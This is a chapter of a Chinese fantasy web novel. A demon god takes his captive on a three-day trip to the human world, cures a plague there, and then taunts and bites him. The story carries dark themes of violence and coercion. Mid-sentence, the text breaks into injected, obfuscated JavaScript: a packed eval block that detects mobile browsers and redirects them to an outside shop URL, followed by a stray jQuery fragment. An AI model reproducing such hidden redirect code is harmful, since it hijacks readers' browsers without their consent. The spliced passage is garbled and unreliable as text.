109. 人间三日(番外三)
作品:《替嫁美攻掉马了》 夙天最喜阴暗,除了戮杀,鲜少踏离妖神殿半步,今日倒破天荒生出几分赏景的闲情。
步下白骨血阶,行过那片常年泛着腐气的灰湖,再一路向南,于妖虫环伺的荆棘丛中走了多时,直到翻越一座嶙峋险峰,才终于望见藏在绝境后的绿洲。
妖域的天,从来都是浑浊如血痂的紫红,纵然此处山映水色,却被这天地间的沉郁浸染得只剩残酷与压抑。
白骨永远无法生出新的血肉。
妖界的一切,就和这位妖神同样,即便看起来强盛无匹,也抵不过骨子里不断蔓延的枯朽。
妖力一日一日耗散,若无鲜活的血液滋养,这副骨架不知还能支撑多久。
不过,此时的夙天却异常平静。
他心里动了一个念头。
抬指轻弹,释出妖氛,瞬间驱散头顶雾霭,晨曦的光亮倾泄而出,眼前的灰败顷刻间变成一片盎然。
不远处,湖泊中央现出一方雕栏玉砌的水榭,繁花锦簇,清风微柔,宛如仙境般飘渺灵秀。
他满意颔首,纵身落在水榭当中。
指尖拨弄着栏杆旁的花枝,静坐着等了一会儿。
很快,熟悉的气息扑面而来,那是一股混杂纯粹恨意与不甘的血腥味,扭曲到极致,却又带着令人醉心的绝望。
“你来了。”夙天心绪宁静,白瞳微抬看向天际,“许久未见过这样好的日光,晒在脸上,暖融融的。”
逸子洺扫视一圈,俯身跪在水榭的台阶下。景致虽美,却透着刻意的虚假,叫人极为不适。
他随口应和一句,“从前在人间时,奴也很喜欢晒太阳。”
“人间的景色,难道还能胜过仙境?这里的风光是照着仙阙的样子复现的。”夙天笑说,“我有时候也会想起天族那些旧事。”
他的语气没了往日的居高临下,反而掺了几分近乎憧憬的柔软,逸子洺觉得夙天今日尤为反常,于他而言,这可不能算一桩好事。
逸子洺垂下眼:“神君应是睹‘物’思人了,日日看着奴这张脸,确实容易联想到天界的故人。”
这般带着挑衅意味的言辞,换做平时,早会惹得夙天不快,可他此刻却没有动怒,只是漫不经心地将素袍上的落花掷入水中,不甚在意地问:“你猜猜,本君为何要赐予你这副皮囊?”
逸子洺抬起头,对上那双美丽空洞的白瞳。
他从前也思索过这个问题。
起初,他只当自己是某位仙尊的替身,可在妖神身边呆得越久,他越是能明白,神明不会有凡人的情爱,夙天更不会做多余又无聊的事。
“因为神君觉得好玩。”
逸子洺顿了顿,平静道:“神君想践踏的不止麟族,还有那些曾经的背叛者。神君不过是想……让我顶着这张脸,看着高洁不屈的天族,像尘泥一般,下贱地在您脚下承欢。”
夙天不置可否,只道:“你当年被本君的黑焰灼伤,若不赐你一副天族的皮囊,你很难存活到今日。”
逸子洺低笑出声,不再多言。
夙天眸中闪过一抹极淡的光。
他忽然起身,抬袖拂过跪拜者的发顶。
“子洺,陪我去人间走走吧。”
“人间……?”
逸子洺猛地向前,紧紧抓住夙天的手腕,将那冰凉的掌心按向自己的脖颈。
妖神对人界感兴趣,无非是腻了麟族的血味,想寻找新的戮杀对象,用旁人的哀嚎填补他腐朽的躯壳……
“神君不想先饮血么?”
“今日不饮。”
……
狂风骤起,两人御妖兽而行。
待到达一处喧嚷闹市,夙天才驱走妖兽,将目光落向来往人潮。
如此鲜活的气息让他兴奋不已。
夙天侧头,看向身后始终绷紧神经的一人,“你在妖域呆了许多年,就从没想过出来散散心?”
逸子洺神色复杂,沉声说:“奴对神君一片忠心,从未有过逃脱的念头。”
“别装了,身处人界,你便当没有妖神。”
夙天忽然笑了笑,转身朝着街角一指。
“你看,那是什么?我想吃那个。”
逸子洺顺着他的指尖望去,目光停留半晌,才终于确定,妖神指的是一处热气腾腾的糖糕摊,而不是摊位旁站着的孩童。
“……我去帮神君买。”
他狐疑地看了夙天一眼,快步往糖糕摊走去,那处的孩童显然是帮家里大人看顾生意,见有人来了,连忙张罗道:“哥哥要买糖糕吗?摆在外面的有些凉了,新的要等一会儿才能出锅。”
逸子洺心不在焉地“嗯”了一声,人站在摊位前等,眼神却时不时朝夙天的方位瞟。
嗜血的魔头不会突然转了性,今日这般轻柔和善的姿态,不过是馋了生血,想寻些新鲜罢了。
夙天看透逸子洺的心思,果然缓步跟了过来,“你总看我做什么?我今日的模样,就这么奇怪?”
逸子洺迅速别开眼神,接过油纸裹好的糖糕,正要拉着人离开,谁知那卖糖糕的孩童转脸看见夙天,竟不知死活地抬起小手,在他眼前晃了晃:“这位哥哥的眼睛怎么是白色的?是不是生病了呀?”
“休得无礼!”逸子洺猛地心惊,与“病弱”有关的字眼,向来是妖神最深的忌讳。
他一把将那孩子推搡到一边,厉声呵斥道:“神君之事,怎容你这黄口小儿妄议!”
扬起的手掌眼看就要落下,那小孩被他突如其来的凶相吓坏了,抹着眼泪跑了老远,连摊位都顾不上了。
夙天睨了逸子洺一眼,拿过他手中的糖糕,轻轻咬了一块,“味道还行,就是有点烫口,赏给你了。”
言毕,他将剩下的糖糕塞回逸子洺手里,颇为戏谑地补了一句:“子洺,我不爱吃人。”
逸子洺眉心微动,觉得这称呼太刺耳,他早已习惯了那声轻蔑的“麟奴”。
……
天色尚早,两人一前一后,继续漫无目的地闲逛。
夙天对人界的一切都很新奇,专往人多处钻,逸子洺摸不清他的心思,一路上越发警惕。
不知不觉间,两人来到一处脏乱的巷道,此地坐满了行讨的乞者,个个衣衫褴褛,面黄肌瘦,脸上还带着明显的病气。
夙天还想往里面走,却被一道陌生的声音打断。有人嗑了几声,好意提醒道:“南街正在闹瘟疫,不太安全,两位请快些离开吧!”
夙天闻言,非但没有停步,眼底反而露出几不可察的兴味。
他今日太过反常,逸子洺莫名不安,下意识上前拦路。
“神君如果想尝人族的鲜血,我这便想办法抓人,何必要弄脏您的手?”
夙天却极有耐心道:“方才不是说了,今日不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713684|187813||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
饮血。”
逸子洺太了解夙天的脾性,若再强行阻拦,恐怕要惹得妖神发怒,招致无妄之灾。
最终只滚了滚喉咙,任由他去了。
两人如同寻常旅人,在人间游荡了三日。
这三日,在那座不知名的古镇,夙天仿佛彻底变了个人,不仅未动杀念,还施法替人族解决了那场瘟疫。
待到离开那日,竟有不少痊愈的百姓围在路口,对着两人连连躬身道谢。
望着躲过浩劫的人群,逸子洺只觉一阵恍惚,自己幼时居住的村落,也像这般烟火袅袅,安稳和乐。
如若当年的麟族也遇上这样慈悲的过客,是不是就能逃脱屠戮,续得生机?
直到再回到妖神殿,见到白骨森森的惨象,他才猛地回过神来,那个覆灭麟族的仇人,正站在他的身边,依旧心情很好的样子。
逸子洺满眼错愕,整个人像被抽走了魂魄。
夙天心思得逞,很快将人带上床。与以往截然不同的是,他褪去了那份浓烈到窒息的占有欲,而是克制地靠近,用极为浅淡的力道,轻轻吻住他的唇。
逸子洺怔忡片刻,这番举动出乎他的意料。妖神一向喜欢在饮血时纵欲,却从不会先与他接吻。
夙天则饶有兴致,一边欣赏着逸子洺脸上那充斥着震惊、绝望,还藏着些微期冀的表情,一边将他钳制的更紧,贪婪地攫取他唇齿间的津甜。
就是这种表情。
这比直接咬破他的脖子汲吮鲜血,要有趣百倍!
逸子洺的意识逐渐昏沉,唇间止不住的发颤。
“那些人……你、你为何会放过他们……”
“跪下求我。我心情好了,或许也会大发慈悲,放过你那些卑贱的同族。”
夙天的语气是前所未有的温柔,眼神却暴露出一丝急躁,他心里清楚,身下的人从未真正屈服。
白骨之躯没有半分情感,能感受到的仅仅是一片死寂的灰白。他能看见旁人凄厉的求饶,却看不懂任何真切的痛苦。唯有指尖掐住脖颈,鲜血滑入喉间的时候,他才能从那片温热里,感受到一丝属于他人的情感。
在那转瞬即逝的片刻,他才像真正活着,而不是一副慢慢死去的枯骨……
恨意虽然美味,可他偶尔也想尝尝恨以外的滋味。
嗅着逸子洺身上愈发迷失慌乱的气息,他知道,这场游戏该结束了。
“你在耍我?”
逸子洺终于后知后觉,察觉到被玩弄的屈辱,他蹙眉摆脱夙天的控制,拼命从他的掠夺下挣脱。
“你不是渴求本君的仁慈么?本君如今愿意施舍,你倒先怕了?”
夙天瞬间收敛温柔,神情变得极具压迫感,他蓦地将逸子洺拉回,毫无顾忌地撕咬起他的颈脉,全然变回了往日的疯狂。
“你的血,味道变了。你真的还存有人性么?看似受本君逼迫,但你其实也很享受作恶的滋味,对不对!!”
逸子洺僵了半晌,他憎恶这种被夙天看得通透的感觉,比起妖神,他更痛恨此刻不堪的自己——
可他早就已经失去自我了。
狂笑声夹杂着血腥,在阴冷的宫殿铺陈开来。他凝望着夙天的眼睛,似乎接受了宿命,又像重新燃起希望。
“妖神夙天,我们来打个赌……
总有一天,你会死在我手里。”
……

